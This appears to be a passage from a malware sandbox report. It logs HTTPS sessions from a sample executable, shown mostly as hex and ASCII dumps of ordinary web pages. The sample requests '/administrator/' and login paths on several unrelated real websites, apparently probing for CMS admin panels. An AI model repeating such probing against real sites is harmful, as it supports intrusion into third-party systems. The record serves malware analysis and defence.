2023-11-26 05:59:34 UTC	1378	IN	Data Raw: 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b Data Ascii: n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);
2023-11-26 05:59:34 UTC	1378	IN	Data Raw: 3d 7b 67 65 74 20 70 61 73 73 69 76 65 28 29 7b 72 65 74 75 72 6e 20 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 Data Ascii: ={get passive(){return i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	58805	67.205.16.72	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	301	OUT	GET /administrator/ HTTP/1.1 Host: capforge.com Accept: / Accept-Encoding: deflate, gzip Cookie: pbid=1edc227536cb7fc30f88097431cc67116634c85ffdbc8581853118f953068a74 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://capforge.com/administrator/
2023-11-26 05:59:35 UTC	364	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 0d 0a 43 6f 6e 6e 65 63 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://capforge.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2Connect
2023-11-26 05:59:35 UTC	6	IN	Data Raw: 64 35 35 34 0d 0a Data Ascii: d554
2023-11-26 05:59:35 UTC	7952	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 69 74 65 6d 73 63 6f 70 65 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e Data Ascii: <!doctype html><html dir="ltr" lang="en-US" prefix="og: https://ogp.me/ns#" class="no-js" itemtype="https://schema.org/WebPage" itemscope><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1"><lin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	58490	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	194	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://getquipu.com/
2023-11-26 05:59:34 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:34 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:34 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:34 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:34 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:34 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:35 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	58359	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	248	OUT	GET /login/?page=%2Fadministrator%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:35 UTC	546	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 33 20 53 65 65 20 4f 74 68 65 72 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a Data Ascii: HTTP/1.1 303 See OtherServer: nginxDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate
2023-11-26 05:59:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	58684	78.128.62.138	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	191	OUT	GET /administrator/index.php HTTP/1.1 Host: www.integraledu.hr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:35 UTC	998	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6d 31 4b 4e 48 42 61 4f 45 39 47 63 33 4e 46 4e 7a 64 70 62 45 5a 4b 51 58 6c 7a 53 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 46 46 46 54 45 56 59 4d 6c 6c 52 61 44 68 53 53 6b 64 6e 52 30 59 30 65 45 64 33 62 55 56 4c 65 6a 67 79 4e 6c 56 75 5a 32 4a 4d 63 6c 6c 32 5a 55 70 78 59 55 70 77 55 31 42 32 54 6d 30 34 57 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6Im1KNHBaOE9Gc3NFNzdpbEZKQXlzSnc9PSIsInZhbHVlIjoiSFFFTEVYMllRaDhSSkdnR0Y0eEd3bUVLejgyNlVuZ2JMcll2ZUpxYUpwU1B2Tm04W
2023-11-26 05:59:35 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:35 UTC	8192	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 68 72 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 66 62 3a 61 70 70 5f 69 64 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="hr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <meta name="description" content=""> <meta property="fb:app_id" content="">
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:35 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:35 UTC	8192	IN	Data Raw: 73 69 6f 6e 61 6c 6e 6f 2d 75 73 6d 6a 65 72 61 76 61 6e 6a 65 22 20 64 61 74 61 2d 67 72 6f 75 70 3d 22 2f 73 74 75 64 69 72 61 6e 6a 65 2d 75 2d 69 6e 6f 7a 65 6d 73 74 76 75 22 3e 50 72 6f 67 72 61 6d 20 70 72 6f 66 65 73 69 6f 6e 61 6c 6e 65 20 6f 72 69 6a 65 6e 74 61 63 69 6a 65 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 70 72 65 70 2d 63 6f 75 72 73 65 73 2f 69 65 6c 74 73 22 20 64 61 74 61 2d 67 72 6f 75 70 3d 22 2f 73 74 75 64 69 72 61 6e 6a 65 2d 75 2d 69 6e 6f 7a 65 6d 73 74 76 75 22 3e 49 45 Data Ascii: sionalno-usmjeravanje" data-group="/studiranje-u-inozemstvu">Program profesionalne orijentacije</a></li> <li><a href="/prep-courses/ielts" data-group="/studiranje-u-inozemstvu">IE
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:35 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:35 UTC	8192	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 31 2d 69 74 65 6d 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 74 65 63 61 6a 65 76 69 2d 73 74 72 61 6e 69 68 2d 6a 65 7a 69 6b 61 22 20 64 61 74 61 2d 67 72 6f 75 70 3d 22 2f 74 65 63 61 6a 65 76 69 2d 73 74 72 61 6e 69 68 2d 6a 65 7a 69 6b 61 22 20 63 6c 61 73 73 3d 22 20 6e 61 76 2d 6c 31 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </li> <li class="nav-l1-item"> <a href="/tecajevi-stranih-jezika" data-group="/tecajevi-stranih-jezika" class=" nav-l1-link">
2023-11-26 05:59:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	58716	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	224	OUT	GET /administrator/ HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://tiswheels.com/administrator/
2023-11-26 05:59:34 UTC	485	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 32 37 32 31 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 50 72 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Content-Length: 127217Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EnginePr
2023-11-26 05:59:34 UTC	15899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 20 3e 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 41 57 2d 39 38 37 39 32 39 36 30 33 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 73 63 72 69 70 74 3e 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 20 67 Data Ascii: <!DOCTYPE html><html lang="en-US"><head >... Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-987929603"></script> <script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} g
